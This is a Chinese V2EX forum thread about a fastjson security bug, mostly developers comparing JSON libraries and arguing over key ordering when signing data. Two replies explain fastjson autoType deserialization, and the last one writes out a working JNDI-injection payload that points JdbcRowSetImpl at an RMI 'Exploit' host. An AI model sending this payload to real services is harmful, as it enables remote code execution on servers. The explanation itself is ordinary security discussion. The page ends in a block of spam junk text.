fastjson 又爆 bug 了!快来看看是否受影响 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要在回答技术问题时复制粘贴 AI 生成的内容
qqqccc
V2EX    程序员

fastjson 又爆 bug 了!快来看看是否受影响

  •  2
     
  •   qqqccc 2020-06-01 09:45:40 +08:00 14960 次点击
    这是一个创建于 1959 天前的主题,其中的信息可能已经有所发展或是发生改变。
    78 条回复    2021-04-01 10:55:33 +08:00
    jk1030
        1
    jk1030  
       2020-06-01 09:46:41 +08:00   7
    bugjson
    sagaxu
        2
    sagaxu  
       2020-06-01 09:50:06 +08:00 via Android
    出于什么考量用这个库呢?
    raphael008
        3
    raphael008  
       2020-06-01 09:52:04 +08:00
    jackson 不香吗?
    qwerthhusn
        4
    qwerthhusn  
       2020-06-01 09:55:41 +08:00
    感觉这个库从 N 多年前就各种各样安全漏洞。。。

    但是 jackson 的话,不支持 JSONArray 和 JSONObject 抽象。
    有时候不想对某些 json 再做模型定义,然后用 JsonNode 的 API 太麻烦,全程用 LinkedHashMap 和 ArrayList 写起来也不太好看。
    yty2012g
        5
    yty2012g  
       2020-06-01 09:57:12 +08:00
    已经因为 bugjson,升了 N 次版本了。。。
    AngryMagikarp
        6
    AngryMagikarp  
       2020-06-01 10:00:47 +08:00   1
    没用过,不过很奇怪,一个 JSON 库什么会有安全漏洞...
        7
    smartdone  
       2020-06-01 10:02:32 +08:00
    @AngryMagikarp 反序列化
    GM
        8
    GM  
       2020-06-01 10:05:32 +08:00   1
    @qwerthhusn JsonNode 很好用,超级方便,你是没领悟到它正确用法。
    movistar
        9
    movistar  
       2020-06-01 10:09:30 +08:00
    Jackson 也一堆漏洞,经常有报 case....
    别以为用 jackson 就安全啊.....
    looplj
        10
    looplj  
       2020-06-01 10:09:45 +08:00
    @raphael008 哈哈哈哈,jackson 多少安全漏洞,国内没有报导而已。
    micean
        11
    micean  
       2020-06-01 10:09:48 +08:00
    没影响,一直是 jackson
    ixx
        12
    ixx  
       2020-06-01 10:12:27 +08:00
    @AngryMagikarp #6 因为 json 会用在参数解析上,可以构建特殊 json 远程执行代码....
    echo1937
        13
    echo1937  
       2020-06-01 10:20:41 +08:00
    Spring 自带 Jackson,我又不喜欢额外引入过多依赖,一直就用 Jackson 了。

    这样有漏洞修补起来也轻松,直接升级 Spring 就行。
    qwerthhusn
        14
    qwerthhusn  
       2020-06-01 10:25:25 +08:00
    @GM 额,我理解错了,我一直以为 JsonNode 就是那种 Low-Level 的语法,要解析各种 Token,刚刚仔细看了一下,和 fastjson 的 JSONArray 和 JSONObject 是类似的。。。。。。不过这套 API 没有 getArrayNode()或者 getObjectNode(),必须要先 get()获取父类,只能强转(或者用 instanceof 或者 getNodeType()检查一下)

    从今天开始,fastjson 对我来说,一点用都没了!!!我负责的项目下一个 milestone 中有一项就是 get rid of bugjson
    Kamiyu0087
        15
    Kamiyu0087  
       2020-06-01 10:31:21 +08:00
    所以 FastJSON 和 Jackson 都不能用?
    那么 GSON 如何呢?
    onikage
        16
    onikage  
       2020-06-01 10:33:29 +08:00
    上周五也被 bugjson 坑了, {"value":1,"id":2}, 在 bugjson 转一遍输出就变成{"id":2,"value":1}了, 信息没丢,但是在有签名的场景这完全是两个字符串. 不知道为什么这么多人迷信这玩意.
    murmur
        17
    murmur  
       2020-06-01 10:41:25 +08:00
    @onikage 所以说你传 json 不会传字符串么,验签后再反序列化
    sagaxu
        18
    sagaxu  
       2020-06-01 10:41:28 +08:00 via Android
    @Kamiyu0087 gson 官方已经弃坑了
    sagaxu
        19
    sagaxu  
       2020-06-01 10:42:29 +08:00 via Android   6
    @onikage object 本就是无序的,签名前先排序不是常识吗?
    iFlicker
        20
    iFlicker  
       2020-06-01 10:45:43 +08:00 via Android
    JSONObject 呢
    marcong95
        21
    marcong95  
       2020-06-01 10:46:24 +08:00
    @onikage #16 JSONObject 理论上是个哈希表,应该是不保证顺序的,需要签名的场景一般不都是要先做排序的吗
    wobuhuicode
        22
    wobuhuicode  
       2020-06-01 10:48:48 +08:00   1
    @onikage 明显是你自己对于 json 理解有问题。还能反咬一口框架
    axbx
        23
    axbx  
       2020-06-01 10:50:38 +08:00
    @onikage 哈哈,上周也是遇到同样的问题
    yuzo555
        24
    yuzo555  
       2020-06-01 10:51:27 +08:00   1
    @onikage 本来就是没有顺序的,还有的语言每次请求都随机顺序输出呢...
    GM
        25
    GM  
       2020-06-01 10:53:15 +08:00   2
    @onikage 签名要自己做排序,这是常识。不然的话,出错是必然,工作正常只是偶然(碰巧能正常工作)。
    redtea
        26
    redtea  
       2020-06-01 11:03:22 +08:00
    那么到底该用哪个,更安全,性能更好?
    beidounanxizi
        27
    beidounanxizi  
       2020-06-01 11:05:04 +08:00
    fastjson 这个破 json 序列化和反序列化 遵守 json 规范么? 还有号称的性能 呵呵哒
    用 jackson 不好么
    whoami9894
        28
    whoami9894  
       2020-06-01 11:05:59 +08:00
    @AngryMagikarp
    因为它支持 @type 把 JSON 映射到对象
    TomDu
        29
    TomDu  
       2020-06-01 11:06:05 +08:00
    @sagaxu 官方有什么声明吗?我用得还挺多的= =
    beidounanxizi
        30
    beidounanxizi  
       2020-06-01 11:06:08 +08:00
    @onikage 这个是你自己个人没保证顺序的原因
    heiheidewo
        31
    heiheidewo  
       2020-06-01 11:06:31 +08:00
    一个 json 解析还这么多 bug
    hantsy
        32
    hantsy  
       2020-06-01 11:06:57 +08:00
    @qwerthhusn Jackson 同样支持底层的强大 Node 操作(类似 Object, Array 操作非常简单),也支持高级的 Mapping,而且还支持 XML Mapping 。 还支持其它一些不太常见的格式。在 marshall/unmarshall 操作上,几乎是功能最全面的,在 Spring 是默认方案。

    现在的 JSON-P,JSON-B 标准受 Jackson,Gson,JAXB 等影响很大。
    hantsy
        33
    hantsy  
       2020-06-01 11:11:32 +08:00
    Kyle18Tang
        34
    Kyle18Tang  
       2020-06-01 11:34:21 +08:00
    Jackson 它不香么
    sagaxu
        35
    sagaxu  
       2020-06-01 11:48:35 +08:00 via Android   1
    @TomDu 之前看到 gson 作者说过,开发基本上是停止了
    keshawnvan
        3
    keshawnvan  
       2020-06-01 11:50:59 +08:00
    JSON 反序列化用哪个库漏洞都很多,都需要经常更新
    Vedar
        37
    Vedar  
       2020-06-01 11:51:37 +08:00
    有点搞吧 验签排序确实是要做 但是你一个 json 库自作主张去排序就有毒了 这还能洗?
    Meltdown
        38
    Meltdown  
       2020-06-01 12:02:36 +08:00 via Android
    龟速的 json 有 bug 么
    sayuria
        39
    sayuria  
       2020-06-01 12:13:34 +08:00
    @AngryMagikarp
    比如一只猫,序列化之后是 binary 序列。binary 是没有可读性的,看起来就是一堆乱码。
    这时候黑客把一只狗序列化成 binary 序列,替换掉猫的序列。
    json 反序列化之后,就会去执行狗的反序列后的代码。
    kiddult
        40
    kiddult  
       2020-06-01 12:14:59 +08:00
    @Vedar 不是去排序,而是这个对象映射是 map,本身就是无序的
    mgzu
        41
    mgzu  
       2020-06-01 12:41:13 +08:00
    问一下各位老哥,有 maven 或 eclipse 、idea 插件提示依赖安全漏洞的插件么
    skull
        42
    skull  
       2020-06-01 12:53:36 +08:00 via iPhone
    @onikage 你自己的坑
    wm5d8b
        43
    wm5d8b  
       2020-06-01 13:03:17 +08:00 via Android
    gson 没有 bug 的话,开发基本停止好像也没问题?
    JasonLaw
        44
    JasonLaw  
       2020-06-01 13:11:45 +08:00 via iPhone
    @sayuria 我还是有点不明白,就算替换了内容,那也是数据(对象的属性)改变了,代码执行的逻辑还是不变的。可以具体讲解一下“怎么造成安全漏洞”的吗?
    526326991
        45
    526326991  
       2020-06-01 13:12:18 +08:00
    一直用 gson 路过~~~
    cco
        46
    cco  
       2020-06-01 13:17:37 +08:00
    不管谁 bug 多,谁 bug 少。Spring 已经自带了 jackson,那我就懒得引入第三个 json,目前的业务也都满足。小声说:顶多在价格 gson- -!
    binbinyouliiii
        47
    binbinyouliiii  
       2020-06-01 13:38:41 +08:00
    老老实实用 springboot 默认的 jackson 不好吗,一个 json 工具又不需要中文文档
    siteshen
        49
    siteshen  
       2020-06-01 14:17:26 +08:00
    @yuzo555 Go:我怀疑你在说我,但是我没有证据。
    hjyjzsn
        50
    hjyjzsn  
       2020-06-01 14:24:35 +08:00
    @onikage 一般签名场景 都会对字段重新进行排序的吧
    tairan2006
        51
    tairan2006  
       2020-06-01 14:38:51 +08:00
    Jackson 啥功能都有啊…升级 spring 很方便。
    mars0prince
        52
    mars0prince  
       2020-06-01 14:39:45 +08:00
    毕竟没有漏洞就没有 kpi
    liuawei
        53
    liuawei  
       2020-06-01 14:50:51 +08:00
    那些一直推荐 Jackson 这个玩意也有漏洞 反序列化的漏洞可以通过 bash 反弹控制服务器呀。
    whoami9894
        54
    whoami9894  
       2020-06-01 14:53:59 +08:00   2
    @JasonLaw
    JSON 映射到对象其实就是 build and assign,先实例化对象,然后对成员变量赋值,赋值时如果对象有 setXX 方法会调用,在 setXX 方法中可能有一些可以达到代码执行的操作 比如 JNDI injection
    比如`com.sun.rowset.JdbcRowSetImpl`,调用它的`setAutoCommit`时会自动对成员变量`dataSourceName`进行一次 JNDI lookup,在低版本 JDK 中就可以直接加载远程字节码
    kennylam777
        55
    kennylam777  
       2020-06-01 15:04:57 +08:00
    @GM JsonNode + 1, 有的 type safety 都有
    fanshuzaizai
        56
    fanshuzaizai  
       2020-06-01 15:54:31 +08:00   1
    高级用法才有 bug,像我这种只用来 JSON.parseObject()和 JSON.toJSONString,从来没有 bug
    JasonLaw
        57
    JasonLaw  
       2020-06-01 16:03:28 +08:00
    @whoami9894 产生对象的 class 是自己写的,setXX 能做什么不是完全由自己决定的吗?实例化 class 的一个对象后,会根据序列化之后的内容对属性设置不同的值。如果 setXX 方法除了赋值之外还做了“其他的事情”,不管是什么方式的反序列化,都会做“其他的事情”的呀,不会取决于“序列化的内容是否被修改”。是我哪里没有理解吗?
    Seneca
        58
    Seneca  
       2020-06-01 16:03:39 +08:00
    良心福报厂 养活一批安全从业者
    lzvezr
        59
    lzvezr  
       2020-06-01 16:47:40 +08:00 via Android
    @onikage 兄弟,你这是用法不对啊,哪有 JSON 不排序就做签名的
    stormsuncc
        60
    stormsuncc  
       2020-06-01 16:51:08 +08:00
    上边说 jackjson 也有问题的不知道啥心理。
    下雨天没有伞房子还漏雨的人说你看隔壁也没伞出门(人家房子完好)。
    zhuzeitou
        61
    zhuzeitou  
       2020-06-01 17:12:29 +08:00
    @sagaxu JakeWharton 最近的推上有说,gson 基本属于弃坑,2/3 的开发者参与了 moshi 开发,moshi 可以认为是 gson3
    onikage
        62
    onikage  
       2020-06-01 17:30:04 +08:00
    @murmur
    client 和 server 端都在我们自己手里, 可以控制, 中间过了一道 http 的第三方的服务. 问题是这个服务输入输出不一致...
    不过这个第三方服务不出错.
    onikage
        63
    onikage  
       2020-06-01 17:32:32 +08:00
    @wobuhuicode
    问题是中间过的第三方服务做的, 我们自己的 client 和 server 用 http 直连测过以后再连人家服务发现这个问题的.
    wzw
        64
    wzw  
       2020-06-01 17:46:21 +08:00 via iPhone
    我用 msgpack……不知道怎么样
    looplj
        65
    looplj  
       2020-06-01 17:50:05 +08:00
    @stormsuncc 不知道你是什么心理。都说转 jackson,提出 jackson 也有漏洞,有什么问题?国外的框架有漏洞不让说?
    LostPrayers
        66
    LostPrayers  
       2020-06-01 18:07:47 +08:00
    没有高级反序列化,就没有伤害
    zzNucker
        67
    zzNucker  
       2020-06-01 20:56:05 +08:00
    @ZSeptember 他都说了人家房子完好,说明是选择性失明+失智

    没啥好说的啦
    Loyelee
        68
    Loyelee  
       2020-06-01 22:24:20 +08:00 via iPhone
    一直用的 gson
    qoras
        69
    qoras  
       2020-06-01 22:51:53 +08:00
    这玩意不报 bug 才不正常
    back0893
        71
    back0893  
       2020-06-01 23:11:45 +08:00
    有 bug 不是正常?
    youxiachai
        72
    youxiachai  
       2020-06-02 00:29:00 +08:00 via iPad
    有点迷,这算是没关注比有关注强吗。。。。
    特别有几位大佬一个劲的批判也不知道为啥。。
    wanguorui123
        73
    wanguorui123  
       2020-06-02 08:26:55 +08:00 via iPhone
    反序列化注入漏洞,年年都报
    ConradG
        74
    ConradG  
       2020-06-02 09:10:00 +08:00
    @JasonLaw
    因为“产生对象的 class 是自己写的”这句话在某些情况下是不对的。
    除了常见的“标准”json 外,还存在“标记了反序列化目标类型“的非标准 json 。json 反序列化的大部分漏洞都是通过更改这类 json 的类型标记,实例化一些敏感类进行攻击。
    xuxanwan
        75
    xuxanwan  
       2020-06-02 09:51:34 +08:00
    在哪里能看到 fastjson 所有历史缺陷,及 jackson 的所有历史缺陷,想坐下选型前的对比。
    lcj2class
        76
    lcj2class  
       2020-06-02 13:28:11 +08:00 via iPhone
    对性能有要求的,直接上 protobuf 吧
    metrxqin
        77
    metrxqin  
       2020-06-02 13:37:40 +08:00
    马上就 618 了,现在紧急更新等于找骂。
    NewConn
        78
    NewConn  
       2021-04-01 10:55:33 +08:00
    fastjson 有个 AutoType 特性,JSON 中会带类型信息 @type
    JSON 字符串反序列化时,会读取 @type 内容,把 JSON 反序列化成这个对象,并且会调用这个类的 setter 方法;
    那么就可以利用这个特性,自己构造一个 JSON 字符串,并且使用 @type 指定一个自己想要使用的攻击类库,比如:com.sun.rowset.JdbcRowSetImpl
    在 JdbcRowSetImpl 的 dataSourceName 中设置一个想要执行的命令
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    就可以攻击远程数据库
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2810 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 31ms UTC 13:47 PVG 21:47 LAX 06:47 JFK 09:47
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86